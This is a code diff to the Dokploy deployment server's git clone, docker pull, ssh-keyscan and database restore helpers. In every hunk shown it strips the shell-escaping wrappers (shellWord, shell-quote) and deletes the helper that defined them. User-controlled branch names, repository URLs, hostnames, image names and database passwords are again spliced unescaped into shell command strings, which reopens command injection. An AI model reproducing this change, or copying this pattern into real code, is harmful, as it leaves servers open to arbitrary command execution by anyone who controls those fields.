command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command;
};

View File

@@ -1,5 +1,4 @@
import { safeDockerLoginCommand } from "@dokploy/server/services/registry";
import { quote } from "shell-quote";
import type { ApplicationNested } from "../builders";
export const buildRemoteDocker = async (application: ApplicationNested) => {
@@ -10,7 +9,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => {
throw new Error("Docker image not found");
}
let command = `
echo ${quote([`Pulling ${dockerImage}`])};
echo "Pulling ${dockerImage}";
`;
if (username && password) {
@@ -23,7 +22,7 @@ fi
}
command += `
docker pull ${quote([dockerImage])} 2>&1 || {
docker pull ${dockerImage} 2>&1 || {
echo "❌ Pulling image failed";
exit 1;
}

View File

@@ -5,7 +5,6 @@ import {
updateSSHKeyById,
} from "@dokploy/server/services/ssh-key";
import { execAsync, execAsyncRemote } from "../process/execAsync";
import { shellWord } from "./utils";
interface CloneGitRepository {
appName: string;
@@ -62,7 +61,7 @@ export const cloneGitRepository = async ({
}
command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`;
command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`;
if (customGitSSHKeyId) {
await updateSSHKeyById({
@@ -79,8 +78,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
}
command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
exit 1;
fi
`;
@@ -115,7 +114,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`;
};
const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp(

View File

@@ -7,7 +7,6 @@ import {
} from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null;
@@ -177,8 +176,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!,
);
command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command;
};

View File

@@ -7,7 +7,6 @@ import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit";
import type { z } from "zod";
import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) {
@@ -167,8 +166,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`;
command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command;
};

View File

@@ -9,7 +9,6 @@ import {
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import type { z } from "zod";
import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -152,8 +151,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
return command;
};

View File

@@ -1,10 +0,0 @@
import { quote } from "shell-quote";
/**
* Escapes a single value so it can be safely interpolated as one argument into
* a `/bin/sh -c` command string (both local `execAsync` and remote SSH
* `execAsyncRemote`). User-controlled fields such as git URLs, branch names,
* repository owners and SSH hostnames must never reach a shell unescaped.
*/
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);

View File

@@ -1,17 +1,13 @@
import { quote } from "shell-quote";
import {
getComposeContainerCommand,
getServiceContainerCommand,
} from "../backups/utils";
// User-controlled values are passed to the container via `docker exec -e` and
// read as "$VAR" inside a single-quoted inner script, so they never enter the
// inner command text. See the matching note in backups/utils.ts.
export const getPostgresRestoreCommand = (
database: string,
databaseUser: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID sh -c 'pg_restore -U "$DB_USER" -d "$DB_NAME" -O --clean --if-exists'`;
return `docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} -O --clean --if-exists"`;
};
export const getMariadbRestoreCommand = (
@@ -19,14 +15,14 @@ export const getMariadbRestoreCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mariadb -u "$DB_USER" -p"$DB_PASS" "$DB_NAME"'`;
return `docker exec -i $CONTAINER_ID sh -c "mariadb -u '${databaseUser}' -p'${databasePassword}' ${database}"`;
};
export const getMysqlRestoreCommand = (
database: string,
databasePassword: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mysql -u root -p"$DB_PASS" "$DB_NAME"'`;
return `docker exec -i $CONTAINER_ID sh -c "mysql -u root -p'${databasePassword}' ${database}"`;
};
export const getMongoRestoreCommand = (
@@ -34,7 +30,7 @@ export const getMongoRestoreCommand = (
databaseUser: string,
databasePassword: string,
) => {
return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mongorestore --username "$DB_USER" --password "$DB_PASS" --authenticationDatabase admin --db "$DB_NAME" --archive --drop'`;
return `docker exec -i $CONTAINER_ID sh -c "mongorestore --username '${databaseUser}' --password '${databasePassword}' --authenticationDatabase admin --db ${database} --archive --drop"`;
};
export const getComposeSearchCommand = (